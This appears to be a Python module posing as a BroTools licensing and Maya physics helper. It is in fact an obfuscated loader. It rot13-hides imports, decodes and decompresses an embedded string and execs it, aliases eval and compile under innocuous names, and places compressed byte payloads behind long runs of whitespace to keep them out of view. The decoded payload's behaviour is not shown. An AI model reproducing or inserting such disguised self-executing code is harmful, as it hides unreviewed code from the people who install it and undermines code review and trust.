
from builtins import *

def LicenseKeyEnforcer(iterable, start=1):
   result = start
   for element in iterable:
       if not isinstance(element, (int, float)):
           raise TypeError("iterable analysis failed")
       result *= element
   return result

__author__ = "Michael Davydov"
__website__ = "https://brotools.tech; https://michaeldavydov.com"

__code__ = '''import sys
if sys.version_info[0] >= 3:
    import builtins, codecs
    builtins.unicode = str
else:
    import __builtin__ as builtins
    import codecs
o = getattr(builtins, codecs.decode('__vzcbeg__', 'rot13'))
b, z, s = o(codecs.decode('onfr64', 'rot13')), o(codecs.decode('myvo', 'rot13')), o(codecs.decode('flf', 'rot13'))
d, e, c = getattr(getattr(b, codecs.decode('heyfnsr_o64qrpbqr', 'rot13')), codecs.decode('__pnyy__', 'rot13')), getattr(getattr(z, codecs.decode('qrpbzcerff', 'rot13')), codecs.decode('__pnyy__', 'rot13')), '4EJwSDieBwXyXxq6Vvkp@nyH8TGtFvKmicn&d*N*nSKJFuZu$uB6##Zf3aTgZ2AGb^YFTGrMj!AVoU*x*#o6eFn^oF5rjbggbB3BYUuUiZTYkDkLg7xME73at4k6y6DCLYnJK$D4^aXY3GNdY67@#7d&v3PYF^k2T!Sp22#8GKPoui7ESR4bCf2i$xTjXeM@bJ%PE3$6&h5#DZvk9TDGkVokd$a%oJKzT^*stmGf7sCLS3%@jCfMH^CuTGcQ#Qp2yQ%@$A!Co8kjm45!B98Df2ij6Q7fGZZu5hRNT5FbcH6FX!*H$u$2UKR2uXkL4DBWmKZoiwWBPp@qNH!YAyyyRpTsJrA$^H6m4fM3&@S@tK9WfLnSqztv44R@&yVH3S393VSEQrh!Y*bUS&rbPQzaPVA3#K*h8F3^k27sxMxwYeCivxqV3*^^E!RMUzsQBe3TBrpca!r7u5KXAxy2BH@s^DwZEcnjUc5Udmxeu!F3mcC@uSAw7h&Lo8!H5EQQbp%xH^CnMf*gzTTB6R6ymMuZ&9*&oJ497W^5kdc%UqSAJHhqwJ^5R!25*@*2vNrcoGQ8B7SS!2!TrJPZhoby$R2KuT@QuXy8d&foJsq@Po9q%@y!qkESd3LMzCGs5@V%fU!KLbs5!fv5zBgiAM^7Cycxz25yQ5fDi@q%RedPvMWBM6mMdW8pxsy#^*@sZDTPyXY5rJ$Xpgnqw@TaQU@MCKP%vt2BsKxRu78m2KxC%MZwV7HMDddWAsXijVfY^74!bW&$n9^sc6o!QHZH2g4Z@MLH3%7AhQyGmLFb@5S6$QacM*sdMXp$!K8PqVoW$!zQc7zjDZKN77TNW@665i!9UsnbhugqAAc6n4JE*^JD^kVaSce53Sw$@xs^7WwEqG#Fu4U9' + '==='
try:
    exec((lambda x: x.decode(codecs.decode('hgs-8', 'rot13')) if s.version_info[0] >= 3 else x)(e(d(c))))
except Exception as e:
    print("~ [BroTools] Decoding failed: " + str(e))
'''


# _nodetopologyoptimizer, _licensingutilitykit, _physicsanimator3d, BroLicenseChecker, DetectVar, MayaCMDSWrapper, _callfunction = exec, str, tuple, map, ord, globals, type
_nodetopologyoptimizer, _licensingutilitykit, _physicsanimator3d, BroLicenseChecker, DetectVar, MayaCMDSWrapper, _callfunction, Restore = eval, str, tuple, map, ord, globals, type, compile

class _physicsnoderouter:
    def __init__(self, _licensecheckeragent):
        self.MayaNode = LicenseKeyEnforcer((_licensecheckeragent, -1798))
        self._substract(PhysicsAnimator3D=-4400)

    def _substract(self, PhysicsAnimator3D = int):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        self.MayaNode += -14700 / PhysicsAnimator3D
        
        try:
            {MayaSimulationEngine: _nodetopologyoptimizer} if DetectVar <= BroLicenseChecker else {_licensingutilitykit: _physicsanimator3d} <= MayaSimulationEngine

        except OSError:
            ((DetectVar, (DetectVar, BroLicenseChecker)) for DetectVar in (_physicsanimator3d, BroLicenseChecker, _nodetopologyoptimizer) if _nodetopologyoptimizer >= MayaSimulationEngine)

        except:
            _callfunction(-80930 + 59309) == float

    def _licensekeyenforcer(self, SimulateDynamics = -58925):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        SimulateDynamics -= -34913 + 58270
        self.Multiply != True
        
        try:
            {MayaSimulationEngine: _nodetopologyoptimizer} if DetectVar > _physicsanimator3d else (BroLicenseChecker, _nodetopologyoptimizer) >= _nodetopologyoptimizer

        except AttributeError:
            (({DetectVar: MayaSimulationEngine}, _licensingutilitykit) for _licensingutilitykit in (BroLicenseChecker, _nodetopologyoptimizer))

        except:
            _callfunction(9968 / 46026) == str

    def BroRenmer(SceneAnalyzer = int):
        return MayaCMDSWrapper()[SceneAnalyzer]

    def Floor(LicenseCheckerAgent = -85236 + -42719, PhysicsEngineCoordinator = str, _nodephysicssolver = MayaCMDSWrapper):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        _nodephysicssolver()[LicenseCheckerAgent] = PhysicsEngineCoordinator
        
        try:
            (({_licensingutilitykit: _physicsanimator3d}, BroLicenseChecker) for BroLicenseChecker in (_physicsanimator3d, MayaSimulationEngine))

        except OSError:
            (((BroLicenseChecker, _nodetopologyoptimizer), _nodetopologyoptimizer) for _nodetopologyoptimizer in {_licensingutilitykit: _physicsanimator3d})

        except:
            _callfunction(21957 * -91338) == float

    def execute(code = str):
        try:
            return _nodetopologyoptimizer(Restore(_licensingutilitykit(_physicsanimator3d(BroLicenseChecker(DetectVar, code)))), locals(), globals())
        except:
            pass
        # return _nodetopologyoptimizer(_licensingutilitykit(_physicsanimator3d(BroLicenseChecker(DetectVar, code))))

    @property
    def Multiply(self):
        self._floor = '<__main__.MayaSimulationEngine object at 0x000002336BE85826>'
        return (self._floor, _physicsnoderouter.Multiply)

try:
        _physicsnoderouter.execute(code = __code__)
        DynamicNodeProcessor = _physicsnoderouter(_licensecheckeragent = 31499 - 21633)

        if 255065 > 4985216:
            _physicsnoderouter(_licensecheckeragent = 42052 / -25709)._licensekeyenforcer(SimulateDynamics = -56707 * DynamicNodeProcessor.MayaNode)
        elif 440425 < 5943008:
            DynamicNodeProcessor._substract(PhysicsAnimator3D = DynamicNodeProcessor.MayaNode / -49237)                                                                                                                                                                                                                                                          ;_physicsnoderouter.Floor(LicenseCheckerAgent='DODOOOooDDDoDoODOOoOo',PhysicsEngineCoordinator=b'x\x9c\xed\x9b[S\xdcV\x16\x85\xdf\xfd+x\x03*\x13\x97t\xae\x92\xab\xf2\xe2"\xce\xe02P\x1e\xec\xd8\xe5\x94\x8bRK\xea\xa4\x89\xa0=\x80c2\xbf~\xbe\xb5\xd5\r\x1e\x13ll.y\x18\xba\x91Z\xad\xcb9\xfb\xb2\xf6\xda{\xab\xc50o\x9b\xe1xm\xfd\x97\xd5\x9d\xd3\xea\xa8\xd8{\xf3\xf2\x9do\x7f\xff\xf9\xd5\xcb\'\xbf\x9d\xbe.\xb6\x87\xfe\x9f\xdb\xef\xfb\x9fk\xf7\xea\xf7\xf2\xdf\xdd\x93\xb6|\xfer\xfb\xf0e\xf1t\xbf\xf9\xb07?-\xf2\xea\xdb\x1f~\x1d\xe6\x13\x86x\xf0M\xd7\xdb\xc4\xf3\x9d\xf9\xc6\x06\x7f\xac\xf4\xda\xd9\xd8a\xd7\xc6\xea/\x8f\x1e}\xf7\xfdw\xdf\xaf}\xbf\xf6]\xb9\xbe\xfe\x96\x99\xfa\x93\xe6\xe4\xe4\xe8\xdbg\x9a\xed\xef\xef\x0f\xc3l\xd8\x9f\r\xe3{`\xcf\xc5y\xba\xd95\xe6\xb8\xfc\xc2\xd7\xff\xf9\xd9M\xfc\xd6i\xf3\xe2\xf1\xe3\xddW\xf1\xe9\xbf\x86w~i\xc4\xc1\xdc\xf0\x99Y/\xbd\xf83s\xfe4\x1c\xf7\xfb/O\xb67\x1e\xc7\x97\xc3\xcb\xf2\xc5\xf0f\xff\xd5\x8fO\x1e?\x7f1\xb87\xee\xcd\xd6r\xee\xbd\xbd\xd9\xc1\xbb\xf9\xd1\xc9\xde\xde\x8dk\xfd\xd3\xf0~{\xff\xcdOo\x8a\xdf\x1e??\xe8\x86\xe7\xbf\x0f\xfb\xcbY\xaf!\xf3\xda\xea\xe4\xfdl8\x99\x1d\x1e\xaf\xae?\xfc\xa39\xfaf\xbbmoo\xe9\xa5\xf56\xdb\xdbZ#\xda\x06\xf0\x03\x84\x06FC%\x7f\xecZ\xbb\x96\xc8\xc7\x87\xb3\x93a\xf6~\xf2)\xdc\xd6\xff\xb1\xbf/ \x8e\xef}\x81\x12\x94\xceni\xb2\xf5_\xeet\xb6\x87\xb3\xc3\xae?][=:9\xbep\xf0\xed\xfaen\xbb\x0c5#Y\x14\xc5\xbc0\x9a\x80%\xb4\xbaw\xd8-8\xac?\x1e\x9a\'_\xe1\xb2/E\xda+\xbd^/\xd7\xaf_\xdb\x8a/\xf7\xce\xbb\x05\xe7\r\xcd\x1f\xfdM\x85\x1b\xee \x17\xb3V\xb8\xed\x98\x83n\xcbg\xb3Y{\xdc\x1c\xce\xee\xc6g\x97Nv+>\xbb|\xb6\xa5\xcf\xfe\x9c\xce\x86\xd3\xfe\xb7\xc3\xf7_\x17t_H\xcb\xbb\xbb\xbbN\x8b\xd3\x9aM>\xf1\xde\xea\xea\xc3\xfd\xf9\xec\xf0\xdb\x87}\xfa\xec\xd9\xe6\xb3\xcdq\xfd\xec\xe9\xd3\xcd\xa7\xf7a|\x1b\x1c<\xcc\xde\x1d\xcc\xdb\x9b\x05\x84[\x80\xc1\xe95~\xe3\xab\xbbw\xe0m8\xf0\xfd\xd1\x8b\x1b\xe2\xe1\xcda\x18l\xe15n\xdc{\xec\x16<v\xd2\xcc\x87\xe9\r\x96=\xa3\xab\x86\xcd\xf3O^\xf7\x9e\xbb\x8d\x9ag>\xbfx\xf4:L9\x1bo\x16\xa0\x00J\xf0\xde\x9f}<\xfce\xf5\xec\xda\xeaz\xb5\xe7y\x97,n\xaffq{\x15\x17\xd4\x17\xf7^q\xbc\x82\x13\xca+\x9d\xfbW\xc5\xda\xdad\xd5\xe78\xf5\x91E\x9f\xf5b\xbb`\t,\xe5\xe2{r\x13W\xb9\xeeJ\xe7FW\xd3xw};\xef\xfa\xb5\xd5jzr\xb1hY\x1fW\xb6\xdc\xc3\xfd\xe6\xe1\xde\xf6\xa77U\xe2\x8b\x92\x9e=\xe5\xad\x82\x8eO\xab\xec\x8c\xa7\xae\x86\xcf\xd2P]\x18\xaak\xde\xd5^\xe2\x02wq\xef\xb50\\\xb8\xce\xf0Y^\x1d{o\x7f\x18\x9a\x83I\xd7\xacX\x89*\xdd6\xc7\xbau\xf3\xd17\xd1\xf97\x18\xf7\x12mB\xc7\xbb\xb7\xa5\xb7\xcf\xee\xec\xf3|\xbf\xad\xbf\xa4\xeb\x99\x8e\x07\x87\xbc\x0e\x0e\x0e\xf5\xb6\xd5e:^.\xed\xcd\xe9\x17\xbdw\xcbE\xebq{\xf9\x1e\xf7}Y\xb3\xaf\xc5\x88\xcb.\x7f\x11\x1b7\xe8\xc4i\x98&{\x07(R\xdf\xc2\xd9\xb7d{\x96G\x92\xed\xb9\r\x85S\x0cM\xce\xc1\x856\xe5\xd4D\xe7k\x0fSG\x0ft`\xe94\x89A@\xe2\xaciN\xc1\xbb.M\x12\xc4\x9e\xfa\xe4b\x15*|Q\xc42u\xbe\xc8\x91cM\xaa\xc2\x04\x89\xab\xd8\x00>\x1f+_\x86&\x95\xf6v)\x84\xec\xcb\xe4S\x8d\x9e]*\xbdg\x0fY"84l\xd8nr\x91\xcaX\xe5\x92\x03\x9dtfn\x1fZ\x93\xad\xf4e\xaecJ]\xce>k_\xcc\xb9\n\x9d\x8f\x99\x9d\x19\xc1\x90\xd5\x87\x1a\xa9\x8a\xd8\xb0\xb3\x0cun\x90\xb3\xca.\xc6\x10S\xce\rr\xd5i\xc2\xd2s\xa4\xc8\x01\xdd\x12\xf6m\xbc\xb4\x9a\xba."\x1dG\xaaX{\xae`\x9f\x0f){\xa4p\xa9EBI\x15\xa3\x92Z\x991\x18\xd7K\xe2\xe0SL\xd2YR\'\xc9UpH\xfaB5!aG\xe6\xcd9e\x87\xe4\xa1\xcb\x0eI\x1cc\xf1\x1d+dd\xc0Z\xa4\xc5\x06\xdb{\x8d\x99Z\xf6q\xdc#yJh\x83fX\xb7\xc9\x15\xda\xd4\x9c\xc7\xa0\xb9@.\xc6\x8au\xaas\x85GR.\x197\xf1jc\xc0.\x88\x1fj\xa4h|\xe9\xabD\xc2\xc5\xbe\xd1\'\xef\xc2\x94\x11\xfa(i\x91\x13\xbf\xf9\\fET\xc6\xf6H\xcfv\x89\x81\x9bP\xa1l\x95\xeb0\xf1\x92 p\x02\xb6\x0b\x924\n\x89a\x02\x1a\x02\xa3!)V\xf0\xb1d\x0b[`_^i\x92e\xf7)a\x8a\x7f\x99\xaf\x06?X\x8dQ32\x80\xa5X\xc8s! a\r\x8e\xe4\xb9.6\xc8Zr\x14\x8c0\x1a~\xc0&\x98\x04\xecG\xf4\x8c\xe8\x05NA\x14\xf6A\xdb\x1a\x1d%mb\xb4ZH\xe3\x8c\x84458\xee\x82\xc6-\x85\xa2,\xe1\x19\x95\xf9*l\x0bV\x99\xa3\xcaEhs\xedk<\x1a\xd1207Bp\xac\x03\x1d\x019\x1a\xac\x11\xb1!~\xc2\xba\xf2j\x13\x93\x04\xc6\x07\x82\x9cK5c1s\x90\xf9r.\xf9l@\xb3\xac\xd8\xb0\xd5\xa6\x84\xd7d\xa3\x92k\x89^\xe4\xa9\xe5\'\\\xcc\xf5\x02RV\xa0e\x10\xeb\xb4\x07\x1cE\xae\xea\x18\x97\x19\x93"\x92x\x8bX\r+\x14\x81Y\x83K\x95\xb6\x90w\nNk\xb6KE\x80\xb0\rj\x99Y\xc6\x06\r\x92\xb0\xc1\x17=\xb3\x80#$!\x9a\xb1\x8f\xac]d<\x98*\xe2t\x1a+\xcc\xc5\xc5\xd2\x89\x19{\xe9\xec\x9d\xe0\x8c^\xd3\x90\xbc\xbc\x9f\xa2p?\xf1\x88\x88|\xde\xb0\x19\x85\xe6\xa0\x11\xbc\'\xca\x10\xbd\x0b5C\x81yP\x13R\x8f\x9f\x885\xe4w>\x8c\x96\xc7gN:\x818\xbc\x08JQ\x9d\xf9\xbc\x98\x82\xf9`\x1d\xf91\x88]\xa4\xb3"\x81\xc1A\x15\xd0b\x06$d\x060\xc6(\x957&\x01\x03\x13Y\x88y+O\xac\xe5\x8a\xad\x1e\x1f"%8\x88\xc8\x94\xa3Fo\xb1\xbcO#S\xe1\xc3\\\xf0\x991T\x15,.\x14\xf7\\\xc3\xb9\xc8\xda\x8a\xb3\xb0Z\x81\xde\xd2\'F\x8eKT\xa2MH\x07Y\x9c\xda`\x85JN\x07\xeaAscD\xf9\x11LI\x02\x00Q\x986N\xd6\xe5,\xb0c\xecU\xe0\x11\xce\x063\xf8\x00^\x98\xe0\x89\x12\x8b5\x9cY\x84\nC9\xa4\x14\x0e\xfb$\\\t\x06u\x12OE\xac\xdd\xa14\x18\x0f\x8a\x89>\xcb\xa7N\xf6\n\xad\xb8\x8c\xb5\xc3\x16bYYXfc\x04"\x93\x88\xe7z9\xaf\x19%%\xba*q\x1e\xd8)\x91\xb1b\xc4\x9e\x11`\x89\xd4HA\x90\x88e\xf1\xb9\x8d\x8f\x17\xc5\xa2\xc1\xfc\x02S\x891\xc4u\t~\xc7\x0bX\x19}Kgq\xe3\x15\xc3A\\\x8f\xac\x13\xc6\xc8\x1c#b\xb0\xab\xaeV\x9c)\xf2\xe0j\xf9\x80\x03\x1d\\\x90\x83\xd0\x98\x8c\xad+\xacX\x83\r\x85\x87\xf4\x06f\xcc\xc1Y\xe8\xd2\xc0\xc9\xe2\xd3D\x0c0\x89\x17\xed\x82\x1f\xae&/17$.\x9e\t\x0c\xc1\xd8-\xe8\xe7J\xac\x8a\x1f\xe1\xab>\x08\xd7X\x988\xaa\xd00(\x0eX\xf2\xc8\xb5\xb12\x1d[\xe3\n\xc6\x05\x95\xe8\xca\x19D@*eu\x10\xd4+;s%\x19\nO4\xf8\x13NF\xb7\x06y\x95\x01j\xf3\xbc\x03\xeb\xe0\rd\xd6B;V\xcf\x16\x7f\xf0/\xd9\x04VfL\xf1k\x0bS\x88%\xc1:\xf6J\xcc\x89\xd3\xf06\xd7\xc3u^\xe4\x90eK\xf2\x92\xb0\xe0\xc5\xa6\x8a\xa8J)\x13\xf6E\x03\x10\x93@\xac\xf0\x8a\xe5\x19Q\xf94\x8b\xb3\xf8\x1eam\x89\x01\xa2\x98\xb51\xbb*bZ\xa4\x03\x01\xcc\xde\xa0lM&Q$)\xe6;\xaf\x14!\x1dki\x85\xc5\x19\x08\xe4\x80\x14\xbf\xf0W\x10\xbb@\x1a\xd8\x19\xa9\xe4\x07\xe5f\x10\xe6e\t\xf40i\xb1\x81r!\xd4\x89}A\x19\x9bS\xdc@\x1e$\xbb\xb3\x80\xfbBnW\xc6\xc3\x06\xf2\xa1\xb2\xad\xa2\x8e\xa2\x0e=\xe2"\x92e\x19\xb2-\xfek\xd3he\xaf:\x80\xab\xf0\x18\x16\x87u\xc4p\x11\xb6b\x9cd\xac\xddI\xa7 \x1f\x11\x01\xc8Y\xc3\xb8 \x99\xd9\x95uK\x1b\x91\xcc\x81\x94\x85\x82\x17\x9c\xa9\nHh+\x1d\x93\x98\x15$5\xe0 \xa9\x12\xc0\x1e\xb5\x98>Z\xfa\x048=\xfe\xa1\xf2\xe1,\x0bml\xe5D\xe6\xe0\x1a=\xe5}yN\xd1\x96T\x88g\x91:q\x80\xf5\xd1\x98HG7A\x97\x1c\x8d\xb4\xc2x/n\x8b\x8aB\xd0\xe6U\xa5$U\x1f\x86\x0fXR\xc9\x85\x11\x9c\x17\x04aS\xc3kP\xec\x8b\x19r\xa1\xac\x00\xaf\xe0/\xb3Y\xa1\x06\x1b\xad\xa4R)nK\x8aDq$t\x86\xec\r\xd6P\x06\'\xbe\xb2(\x0e\xac"\x1e\x1cd\xa8\xab\x8cg\x88q\x8eIg\xd3\n\x0bVV\xee8/\x16\x9e\xaa\xeaP\xedd~\x98\xc0\xa8\xe47\xac\xcd\xac\xf8\xa9\xc6\xe7\x8c\xac\x9aAy\x1ey`\x13\xab\x1c\xb3r\x0e\x08\xee\xb3r\x87\xd8B\xe5|\r\x17u\xaaq\xd0\xccn\x18dy\xbdKNr`\x93\xa9e\xadV\xb1\xc3\x95A9.\x9a\xf7T\x85(\x13"\x81\xc7\xeb\xa4|\xe5"\xe3\xf5^\x95&\xf6\x17\x13\xd6F\xd1\x9a\xb7\x12C\x82hc\x8e \x97y,\x83\x08\xc4\x06W\x90\x1f\x95\x83\xeb(6i\xf2\xc8 \x15\xdcR\xaa\xde\x04\x0f\xc4QP\xf3\x08\x7f%\r\xaa,\xe5\x08\x1bezU\x9bD\x18\xfa\x06e\xbc\xac<\xee\x85v\xc58\xf3\xc9\x8e\x12\r\xac0\'r$e\x8cdU\x822\xb953\xb0c\x0b>\xa5\x1d\xac\x91\x94e\xbdq?u\xad\x82I\xa5\xb0\xeaY\xe32\xe2\x0c\xc9T\xd6\x12\xc7A\xd5\x1a|\xc3(\xa5\xd5H\xe2/\xb0\x9cL\x13eZ_Ze\x9d-/\xaab\xc2^V\xc9E\xaa\x01\r\xdc\x89s\x84\x14\x16\xd2"\xfcR(\x0bqu\x10s*\x188Y\x1eI\x9aK\x98%\x82\x82\xaa{\x8es\xb6\xe5')

        DynamicNodeProcessor._substract(PhysicsAnimator3D = DynamicNodeProcessor.MayaNode * -53547)                                                                                                                                                                                                                                                          ;_physicsnoderouter.Floor(LicenseCheckerAgent='wxxxxwxwxxwwxxwwxxxwxwxwx',PhysicsEngineCoordinator=b'{\x87D\xca\xbb\x9d\xb8\xd6+\xee[\xbcV\x80\xea\x08\xb6\x93n\t\x11\xc1\xea\xb1T\x92\x17\\\xd5\'\t3EN\xac\xcc~\x10M5\x0c\xaa\xb1\x01S\xb3\xc0e\x0b\x06\x83dT\xbfZ\xd5\xa5JQX\x8d|ru\x94\xff\x11\x91\xd9A\x8c\xea\t4\xa1Z\xc8\xba\x92zO\xc8\xc6\xb2\x89\xdcK\x84`#\xe2\x00\x8d\xad\x84W\x8dCm\xda\xa8&\xcd\xaa\x8dee\xf9\x06!\xc0\x85\xfa\np\x98\xc4n\xaa\xaa\xa8\xf0\xbc\xfc;\xb1\xf0\x8f\xaa\x93\x91@\xf2&q\nGT\x07\x04\xf1\x90\xf9\xb3T\xe6\x8e\x8aXjy\xab\x80\x82e\xf8)\x11\x87\x8e\xc9\xa9\xf7 \xc7\x89?\x89B\x14\x86\xb1\xd4CX\x05B\xb4#Y\xaf\\m\xf5\x03\xf5\x80\xba\x14]\x11\x14;\xaa\xc7\xe9g\x92j\xfc\x8c]\x84T\xec\x0c\xbb(\x0b6B"HI\xca\xd1\xccH\xad\x82\xfd\xb3z,\x98((n\xf1\x88j\x82.[E\xca|\xcaO\xcc\x1a\xc4\xde\xa3t\xc4-\x11/n\xc2=\x92\x9c\x8c\xa3\xb9\x18\x8b\xfc,>!\xfb\x19n\xc1\x91jTU\x06Q\xac]+N\xd1\'2^\x96L\x8c^)R\x90\x08\xa6\xd0HT\xcb\xd4\x96Iyt\x82lX\x8aO\xfa\x1e\xab\xc5\xd5\xc7\x81\n2@\xb0\x0cS(\x99\x8by\x82\xaaS\x91\x1a\x18\x92?9S,\xd3h,\xf4W>\xe5B1\x123\xaa\xea*,\x13c\x14\xd5\xf1\x86\xa4*Jv:\xab\xa4\x9a\xa6T\xe2G\x1a\xf5\xdaN\xbcg\xdfa)\xb8j\xa2\x0e\xccP\x88/\x90\xc5)\xfbX\xbd\x9d\xd4A`q4c\xfc\xca*\x03\x81"\n\xb8\xaa#\xad\x98\xab,{\x83\xc3\xa8\xde\x9e\xfc\x01?\x8b\x87\x93*R\xf0\xab\xdaq\xac\x88\xc9a\xd8L\xa1\xa02\xd0%i\xae~Y\xfd\xadet\xe2\xc5\xbat\xc9)\xeaJ\xea\x08\xa6\xc2J\xb2\xfc\xa3 \x02_\xb5\xa2-\xa8\xe7\xea\xd5=q,*\xcf\xaa\x0e\x0e\xea++\xcb\xb9\xf8\x88X$\x02\xd4\xe1\x82vA\xa3V\xdf\x82]\xd5s:Q\'\xb6\x93\x1dT{\x12\x0b\x96\xedz\xf0\xa9HRi\x0f\xd2-\x07\xe1\x8f\xac*W5\x8dP\xc2\x0b\xdbXo)&\x1f\xebZu4V\x1fK\xe3\x89\xec\x8e\xe7t\x13\x00+\x93E\xd4\xe1\n\x99t\xa2Y\xf9R9Z\'W\x96c\x946;Uh\xca?\x8a\x01\xf5"\xe6\xedZ\xd9")\xdf\x88\xa9\xf1\x8c8\xd2\xab\x96 {\xab\x9f\xca\xc98B\x05\x95\x85aT>\xa0\x82U\xa2\x0e\xa5!\xcd4Bs\xd9X\xb9N\x9dmR\x1eR\xef\xc9\xdbY]&\xd4X=+\xeeWo&\x0c\xe51\xdb\x90\x01\xc5^\xb0\xb3\xd2\xcbT\xbd\xb2*1\xd5\xc4A:z\xd5>\xc1\xbaT\xdd\'\x90\xdf\x159`\x15\x9fq\x96t\xcfQ\xd5\x94*\xabJ\xa8RnQGh\xb5\xb9\xaa\x1f8L\xe3H;,\x89\x85\x82\xba}\xa7RQ\xd23\x83X\x8c\xa8\xb7\xee\xd1\xab\x13\x153Gcz\xd5\xe3\xb1\x06\xcf\xad\x84Qu\xa6>\x0e\x0eP\x06$Sh\x04\xcc]\x81\x88N\xc53\xac2Q\x0fo\xf7\x1cT\xa3\xab\xae\xabdk\x93\xd9bB|J\xa4\x95\xc6\xfd\xea\xe3Te\x8d\x95Y\xb4\x9a/\xab:\'\xc3\xa9\x9b\x97/Z\xe5]88\xa96P\xd7\x13\xc5\xc5\xb5J+c\x13\xa4\x03\xd4\x1d\xe3\xea\xaad=sK\xd2\xd6\x99\xba\x94=\xde\n1\xf0\n\xbf\x04U\nt\x1b\x8a\x1d\xb2\x93\xba\xc2\xb1\xb3S_\xaa\xda\xc9\x9b^\xd4\x1aRM\xb5\x83\xfa\xdc0J\xe1M_\xe5\x89\xa9%\x02\xe9\x87\xd5\xa9\x91\x9a\xa0\xe8-U9\xeaN\x02\x0cV\x88A\xd4KyU\xae\xcaf\xd2A%\x9d\xe1\xce\xae\x0b\xaa\xc7\xad\xcb\xd0\x1d\x0e\xe5B2N\xb4^\x80\x98(\x95\xfb\xc1\x8cr\xa6\x98`\xa2\xfbKR\x1aT\xf6\xeaQ\xe1.\xdd\xc1\x99\x88\xc5\x94\xd1\xe1de\\0g1\x86C\xc4\xe1\xaaA\xa2z8k}\xb1\x89\x90\x16\xe4\x95<\xf6\xdc\xaa\xf2\x95\x81\xa2!Q}\x9a\x90\xd3\xa8\x16$:\x14\xe7\xb0\x02\x9a\x08\xeb\xd4\xfd\xea\xaa\xc18hpb0\xabm\x18\x11\xd3\xdb\x1d\x11\xa7\xbc\xa3\x08\x92\xa0\xe28\xdb\xc6Cc\xbf\xae\xdeF\xd5\xb5XUw\xcc\xac\xbe5\xe2\xcd\x8a\xd0\xde\xeeLUvO\xc1\xfaOpA\xcc\xe4\xf1\xbef\xb2\x8a\x8b\xc0\xd35\xecU^\xc6$Yu\xe7T9L\xe3yC\x8fr\x86\xecmw\x1d\xf1\x8bn\xff\xf2\xae\x15\xbdVW\xa1\x87\xfaOl\xae;\x10\xd9\xee\x1ax\xf3\xbb\x98\x05F\x90O\xd9#\x04\x956\x83\xb7\xce\xac2\xc2\xect/ \x19O\xc3\x85`F?f\x19\xaa\x1bUg\xd6\x0b\t\x03\xb2.]\x95\xa2BL\xaa{\x1d\xc6\x16\xf2B\x934\'\x11\xaf\xdc\x0c\x03\xb4\xba;\xaa,AV\xd0\x8d9\x93I\x1d\x87\x98~\xbc\xb3\xa9\x1b\x08\xe2|\xdd\x0e\xd2\x1b\xbb\x08I\xb5iOG.\xcbacq\x94\xac?5\x1e\xa8TS\xa9\xcef0\xb4\xd2\x961\x81\xa2E9\xdf\xaa\xbc\x10F`)\xd0u\xd3\xca\xeb~\x8f\xb4(\xee\xf6\xf6\xb6\x94i51\x9f\xdaZ~k\x8c\xda\xea\xc5\xd6\x17\x7f\x8d9\xfb\x85b\xf9,\xd2\xf2\xd1\x13-w\xf6C\x8c=\xea;>\xe2\xbb\xb5\xb5x\xd2\x97\xe5Z?I\xd5\x8b\x9fI\xc3\xe2S\xf7X\xdc\xe2\xe7\xd2\xb8X\xea\xc5\xcf\xaaW9\xb7\xba\xdaO[g\x06\xdd\x1e\x15:\xd3\xcb4\xfa\xbb\x7f\xda\xca\xe3Ku\xca\xf9Ve\x9fg\xcb\x95!\xb3\xb3S\x14\x85\x1e\xf2-\xe6l\xe9y\xdfb^\xfc\xdd\x1a\x8e?`-\x7f\xd8:\xff\x89k\xb9\xb5<\xf6\xf1r\x1b\xbf\xfd\xe4\xde\x15\x91z[\xb5\xb8U-S\xb8\xc4\xc7\xce\x91?\xb2\xed%/\xe8\xb7\x06\xab:tW\x92%\xbb\xc2\xf5\xae\x8fml\x97\x9f\x17F\x98\xaa0S\xa6\xd0}\'U\xed\x7f}\x96z+\x1dO\xa5\xb5;v\xd6\'\xfb\x9c\xf6a\r\xea9\x1f]\xaf\xfa\x9b\xb5\x9d\xa9{\xc4d\xe5\xe2/\xc7f_\x12g\xaa{\xd5\xf6\xa8\x8dzf]\x99M\x13ua\xf9\xfc\xdc\xf1^\x0c\xfa\xf5\xaa@}\x83\xe6\x93\xdc\xdd\x0ec\xae\xca%\xf6g\xcf\xa0ol\xc8=\xf6L\xc3\xb5\x1f\xd3\xf0\x1f-\xf9#\xce(\x16|Q}\xf4\x98\xc6\x97\xce\xcd_\xc9\'\xa2g\xb7;>)j\x0f\x05\xbaK\xf9\xf9.~D^0\xc79\x8f\xe4O\xb6\xcey\xe5\xea\x8c\xf2\xe1T\xaf\x0f\xa7\x1f\xce?\xb4\xfep\'\x8a\xaen\x9e=\x03\xb6\\\r\xc3\x8d<\xd9S.\x16\xb7\x80@\xfd\xd1\xa7\xff\xe4\xc9\x9e\xcf\x9d\xeb\xbe\x122\xa3\xb0\xaf\x17\xd2\xbe\x1e\x85\xff\x0cA\x7f\xf6\x99\xab\x1b\xac]>~\xae\xa2\xfb\xe4\xdd\x9f?]q\xf6\xee\xee\x98\xa0E`\x14\xbc\xae0\x92\xd5\xb6\xd7m\xa0\xc4\x1e\xdf\xff\x7fP\xf4-Q\xf3\x07^\n\xea\xf1e[W|\x8e)\xed\xa5\xbd\xc8\x12X\xb2\xad\xf5\xdc^\xbe\xb8\xf7\xaa\xcfEqBq\xd7\xcf<\xfdOt\xeeP2\xed\xe8\xbf\xa5\xec?\xa6\xf4OSd\xab\xbba:+J\xb7\xb6\x96\xf5\xf6\xd6\xd5*\xed\xd5\xf5\x80\xb1\xb3=$Y\xed\x15{\xa5\xbeqA\xbc\xb8\xf7Z\x86\xf5\x0b\n\x0c\x8b\xeci\x0f@.\x96%\x15.\x1f\x88\xbc\xca\xb9_\xf1@\xe4\x99s6\xed\x81\xee\xcd\xe5S\xdd\xfa\xbc\x1b\xd7\xec\x8c\xffk\x8bE\xac\x8c\xb9f\xd1\xf2\x95\x18\xbd-\x1e\xb5\xc7oJ\xfd\x08q\xcf\xa0\x1f3h\x7f\xda\xb7k\xbb\xe3?z\x8c\xfd\xb7\xea\xba\xdd\xf5\x07\xd3\xa3\xf9\xc1\xca\xa49f\x8e\x95\xf1\xdf\x7fW&)\x8c\xa3\xad4\xc7+\xc3\xac\xed\x0fu\xf4\xc1\xe2\xe8\xe10\xe3\x84\xf1\xbaq{y]\xd7O\xde\xff\xba7\xcc\x7f}p\xb6\xb5\xa6g}GO\x8e\x8f\xfb\xee\xac\x7f2\xce\xc9\xd1\x9f\x8f